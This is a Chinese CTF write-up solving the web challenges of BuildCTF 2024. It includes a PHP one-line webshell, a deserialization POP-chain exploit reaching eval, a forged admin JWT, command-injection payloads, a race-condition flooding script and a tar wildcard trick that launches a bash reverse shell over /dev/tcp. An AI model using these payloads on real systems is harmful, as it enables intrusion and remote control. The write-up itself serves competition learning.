2024BuildCTF-WEB全解
fffffilm 发表于 江西 CTF 463浏览 · 2024-10-26 02:05

WEB

babyupload

传.htaccess和一个马就行

GIF89a
<?=`$_POST[1]`;

RedFlag

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/redflag/<path:redflag>')
def redflag(redflag):
    def safe_jinja(payload):
        payload = payload.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
    return flask.render_template_string(safe_jinja(redflag))

莫名奇妙的题,没啥意思

ez!http

自己背八股HTTP 标头 - HTTP | MDN

find-the-id

单纯考个爆破

ez_md5

输入ffifdyop,别问为什么


进入下一步

<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) { 
  foreach($_REQUEST as $value) { 
    if(preg_match('/[a-zA-Z]/i', $value)) 
      die('不可以哦!'); 
  } 
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
  if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
  {
    echo $flag;
  }else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>

第一步通过get和post的优先级绕过。robots.txt中存在提示

level2
md5(114514xxxxxxx)

盲猜3e41f780146b6c246cd49dd296a3da28是md5(114514xxxxxxx)的结果。爆破一下

LovePopChain

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
    public function __wakeup()
    {
        if($this->NoLove == "Do_You_Want_Fl4g?"){
            echo 'Love but not getting it!!';
        }
    }
    public function __invoke()
    {
        $this->Forgzy = clone new GaoZhouYue();
    }
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;
    public function __clone()
    {
        echo '最后一次了, 爱而不得, 未必就是遗憾~~';
        eval($_POST['y3y4']);
    }
}

class hybcx{
    public $JiuYue;
    public $Si;

    public function __call($fun1,$arg){
        $this->Si->JiuYue=$arg[0];
    }

    public function __toString(){
        $ai = $this->Si;
        echo 'I W1ll remember you';
        return $ai();
    }
}



if(isset($_GET['No_Need.For.Love'])){
    @unserialize($_GET['No_Need.For.Love']);
}else{
    highlight_file(__FILE__);
}

很简单的POP链,甚至有一个没有用上的魔术方法

exp

<?php
class MyObject{
    public $NoLove="Do_You_Want_Fl4g?";
    public $Forgzy;
}

class GaoZhouYue{
    public $Yuer;
    public $LastOne;

}

class hybcx{
    public $JiuYue;
    public $Si;

}

$a=new MyObject();
$a->NoLove=new hybcx();
$a->NoLove->Si=new MyObject();
$a->NoLove->Si->Forgzy=new GaoZhouYue();

echo serialize($a);

Why_so_serials?

字符串逃逸

<?php

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class Gotham{
    public $Bruce;
    public $Wayne;
    public $crime=false;
    public function __construct($Bruce,$Wayne){
        $this->Bruce = $Bruce;
        $this->Wayne = $Wayne;
    }
}

if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
    $Bruce = $_GET['Bruce'];
    $Wayne = $_GET['Wayne'];

    $city = new Gotham($Bruce,$Wayne);
    if(preg_match("/joker/", $Wayne)){
        $serial_city = str_replace('joker', 'batman', serialize($city));
        $boom = unserialize($serial_city);
        if($boom->crime){
            echo $flag;
        }
    }else{
    echo "no crime";
    }
}else{
    echo "HAHAHAHA batman can't catch me!";
}

O:6:"Gotham":3:{s:5:"Bruce";s:1:"a";s:5:"Wayne";s:1:"b";s:5:"crime";b:0;}

需要构造";s:5:"crime";b:1;s:8:"fffffilm";s:1:"b";} 一共42个字符。所以赛42个joker就行

?Bruce=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;s:8:"fffffilm";s:1:"b";}&Wayne=bjoker

tflock

robots.txt->/passwordList/password.txt拿到一个字典。但是尝试爆破发现刚爆破几个账号就说账号已锁定了。

但是后来我重开了一个环境又爆出来了。可能是锁定不影响登录,正好对应了题目说的真假锁定

sub

源码

import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
    if request.method == 'POST':
        name = request.form.get('name')
        content = request.form.get('content')

        messages.append({'name': name, 'content': content})
        flash('Message posted')
        return redirect(url_for('message'))  

    return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            flash('Username already exists')
            return redirect(url_for('register'))
        users[username] = {'password': generate_password_hash(password), 'role': 'user'}
        flash('User registered successfully')
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and check_password_hash(users[username]['password'], password):
            access_token = jwt.encode({
                'sub': username,
                'role': users[username]['role'],
                'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
            }, app.config['JWT_SECRET_KEY'], algorithm='HS256')
            response = make_response(render_template('page.html'))
            response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
            # response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
            return response
        else:
            return jsonify({"msg": "Invalid username or password"}), 401
    return render_template('login.html')

@app.route('/logout')
def logout():
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('jwt', '', expires=0)
    flash('You have been logged out')
    return resp

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/page')
def page():
    jwt_token = request.cookies.get('jwt')
    if jwt_token:
        try:
            payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
            current_user = payload['sub']
            role = payload['role']
        except jwt.ExpiredSignatureError:
            return jsonify({"msg": "Token has expired"}), 401
        except jwt.InvalidTokenError:
            return jsonify({"msg": "Invalid token"}), 401
        except Exception as e:
            return jsonify({"msg": "Invalid or expired token"}), 401

        if role != 'admin' or current_user not in users:
            return abort(403, 'Access denied')

        file = request.args.get('file', '')
        file_path = os.path.join(DOCUMENT_DIR, file)
        file_path = os.path.normpath(file_path)
        if not file_path.startswith(DOCUMENT_DIR):
            return abort(400, 'Invalid file name')

        try:
            content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
        except subprocess.CalledProcessError as e:
            content = str(e)
        except Exception as e:
            content = str(e)
        return render_template('page.html', content=content)
    else:
        return abort(403, 'Access denied')


@app.route('/categories')
def categories():
    return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5050)

伪造一个jwt


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJmaWxtIiwicm9sZSI6ImFkbWluIn0.V2OFcoQK4x_TKg971t4Z6F6ZrBHByj86-OMv4uMYtdI

发现page路由下存在命令拼接漏洞

try:
    content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:

我写的网站被rce了?

莫名奇妙的,没思路。

发现查看日志处存在过滤,fuzz后发现过滤了这些。


他这里的读取是拼接起来的,并且a?????也能读取到。怀疑是执行系统命令


因为是左右都有拼接,所以使用||来确保是中间的命令执行,

acc||nl$IFS/f???||a

加上一些简单的绕过。

Cookie_Factory

题目给了后端源码,是个node.js。我们可以忽略前端,自己写个js脚本和网站交互

源码

const express = require('express')
const app = express();

const http = require('http').Server(app);

const port = 3000;

const socketIo = require('socket.io');
const io = socketIo(http);


let sessions = {}
let errors = {}

app.use(express.static(__dirname));

app.get('/', (req, res) => {
    res.sendFile("./index.html")
})

io.on('connection', (socket) => {
    sessions[socket.id] = 0
    errors[socket.id] = 0

    socket.on('disconnect', () => {
        console.log('user disconnected');
    });

    socket.on('chat message', (msg) => {
        socket.emit('chat message', msg);
    });

    socket.on('receivedError', (msg) => {
        sessions[socket.id] = errors[socket.id]
        socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
    });

    socket.on('click', (msg) => {
        let json = JSON.parse(msg)

        if (sessions[socket.id] > 1e20) {
            socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
            return;
        }

        if (json.value != sessions[socket.id]) {
            socket.emit("error", "previous value does not match")
        }

        let oldValue = sessions[socket.id]
        let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

        sessions[socket.id] = newValue
        socket.emit('recievedScore', JSON.stringify({"value":newValue}));

        if (json.power > 10) {
            socket.emit('error', JSON.stringify({"value":oldValue}));
        }

        errors[socket.id] = oldValue;
    });
});

http.listen(port, () => {
    console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

限制了每次加的分不大于十。

if (json.power > 10) {
            socket.emit('error', JSON.stringify({"value":oldValue}));
        }

和fake_signin有点像,感觉一个题出了另一个也能出。都是多线程下导致的问题。

直接拷打GPT写一个多线程发包的脚本就行

const { Worker, isMainThread, parentPort } = require('worker_threads');
const io = require('socket.io-client');

// 线程数(根据需求调整线程数)
const THREAD_COUNT = 10;

// 点击事件发送间隔(以毫秒为单位)
const CLICK_INTERVAL = 1000;

// 这是每个 worker 要运行的代码
if (!isMainThread) {
    const socket = io('http://27.25.151.80:43518');

    let power = 10000000000000000000000; // 初始 power 值
    let currentValue = 0; // 当前值

    // 监听服务器的回应
    socket.on('recievedScore', (msg) => {
        const data = JSON.parse(msg);
        console.log(`New score from worker: ${data.value}`);
        currentValue = data.value;  // 更新当前值
    });

    socket.on('error', (msg) => {
        console.log(`Error from worker: ${msg}`);
    });

    // 持续发送点击事件
    function sendClick() {
        let message = JSON.stringify({
            value: currentValue,  // 使用当前值作为初始值
            power: power
        });
        socket.emit('click', message);
        console.log(`Worker sent click with power: ${power}`);
    }

    // 使用 setInterval 每隔一段时间发送点击事件
    setInterval(() => {
        sendClick();
    }, CLICK_INTERVAL);
}

// 如果是主线程,创建多个 worker 并启动持续点击
if (isMainThread) {
    for (let i = 0; i < THREAD_COUNT; i++) {
        const worker = new Worker(__filename);

        // 在主线程中可以控制 worker 的生命周期
        worker.postMessage({ power: 10000000000000000000000 });
    }
}

刮刮乐

题目源码(一开始没给,我rce看的

<?php
$referer = $_SERVER['HTTP_REFERER'];

if (isset($_GET['cmd'])) {
    $c = $_GET['cmd'];
    if (strpos($referer, 'baidu.com') !== false) {
        // 允许访问
        system($c . " >/dev/null 2>&1");
    } else {
        echo '不对哦,你不是来自baidu.com的自己人哦';
    }
}
?>

先刮一下图片,然后题目让传参,再改一下referer。就可以执行命令了。这里要加;来结束后面的>/dev/null 2>&1.

eazyl0gin

关键逻辑

router.post('/login',function(req,res,next){
  var data = {
    username: String(req.body.username),
    password: String(req.body.password)
  }
  const md5 = crypto.createHash('md5');
  const flag = process.env.flag

  if(data.username.toLowerCase()==='buildctf'){
    return res.render('login',{data:"你不许用buildctf账户登陆"})
  }

  if(data.username.toUpperCase()!='BUILDCTF'){
    return res.render('login',{data:"只有buildctf这一个账户哦~"})
  }

  var md5pwd = md5.update(data.password).digest('hex')
  if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
    return res.render('login',{data:"密码错误"})
  }
  return res.render('login',{data:flag})

})

b26230fafbc4b147ac48217291727c98的原值为012346

  • 在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
  • 在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

所以我们让username=buıldctf

所以可以用buıldctf/012346登录

fake_signin

import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime

app = Flask(__name__)
app.secret_key = 'BuildCTF'

CURRENT_DATE = datetime(2024, 9, 30)

users = {
    'admin': {
        'password': 'admin',
        'signins': {},
        'supplement_count': 0,  
    }
}


@app.route('/')
def index():
    if 'user' in session:
        return redirect(url_for('view_signin'))
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username]['password'] == password:
            session['user'] = username
            return redirect(url_for('view_signin'))
    return render_template('login.html')

@app.route('/view_signin')
def view_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    signins = user['signins']

    dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), False))
             for i in range(1, 31)]

    today = CURRENT_DATE.strftime("%Y-%m-%d")
    today_signed_in = today in signins

    if len([d for d in signins.values() if d]) >= 30:
        return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")
    return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)

@app.route('/signin')
def signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    today = CURRENT_DATE.strftime("%Y-%m-%d")

    if today not in user['signins']:
        user['signins'][today] = True
    return redirect(url_for('view_signin'))

@app.route('/supplement_signin', methods=['GET', 'POST'])
def supplement_signin():
    if 'user' not in session:
        return redirect(url_for('login'))

    user = users[session['user']]
    supplement_message = ""

    if request.method == 'POST':
        supplement_date = request.form.get('supplement_date')
        if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"
        return redirect(url_for('view_signin'))

    supplement_dates = [(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d")) for i in range(1, 31)]
    return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)

@app.route('/logout')
def logout():
    session.pop('user', None)   
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5051)

题目直接给了源码,我们审计一下。

要签到30天,登录可以签到一次,还需要补签29次。

if request.method == 'POST':
        supplement_date = request.form.get('supplement_date')
        if supplement_date:
            if user['supplement_count'] < 1:  
                user['signins'][supplement_date] = True
                user['supplement_count'] += 1
            else:
                supplement_message = "本月补签次数已用完。"
        else:
            supplement_message = "请选择补签日期。"
        return redirect(url_for('view_signin'))

这里逻辑写死了,只能补签一次,也没找到什么逻辑漏洞。但是没有处理并发逻辑,如果一次发29个补签的包那么就可以一次补签29个

因为只能补签一次,没成功的话就得重开一个靶机了。

并且我尝试过后发现并不需要每天都签上,也能拿到flag,我发包的日期是1-29,而不是01-29也行。虽然显示是没签到但是仍然然有flag,可能是因为有的天签到了几次吗?反正本质原因是满足了len([d for d in signins.values() if d])>=30


这是成功签到的截图

打包给你

原题掌控安全CTF - 8月(WEB&AWD方向)_showdoc漏洞 ctf-CSDN博客

漏洞点在os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")

可以本地起个docker测试一下,用的时候记得连中括号一起替换,比如:echo ZmZmZmZpbG0=

echo 'bash -c "bash -i >& /dev/tcp/IP/10086 0>&1"' | base64
echo "" > "--checkpoint-action=exec=echo [base_payload] | base64 -d | bash" # 生成第一个文件
echo "" > --checkpoint=1 # 生成第二个文件
echo "" > test.txt # 生成第三个文件


下载之后就能弹到shell了

ez_waf

只有内容检测,过滤了",',#,;,=,<,>,\,`

只剩?号了,感觉是UTF-7编码绕过。注意到是nginx的服务,所以用不了.htaccess

上网找了点wp看看,各种内容检测的方法尝试过后,发现用脏数据可以过waf

我生成了8000个字符过了,具体需要多少个可以自行测试。

print('fffffilm'*1000)


传上去之后疑似文件太大,执行不了,但phpinfo里面有flag我就没试了。

1 条评论
某人
表情
可输入 255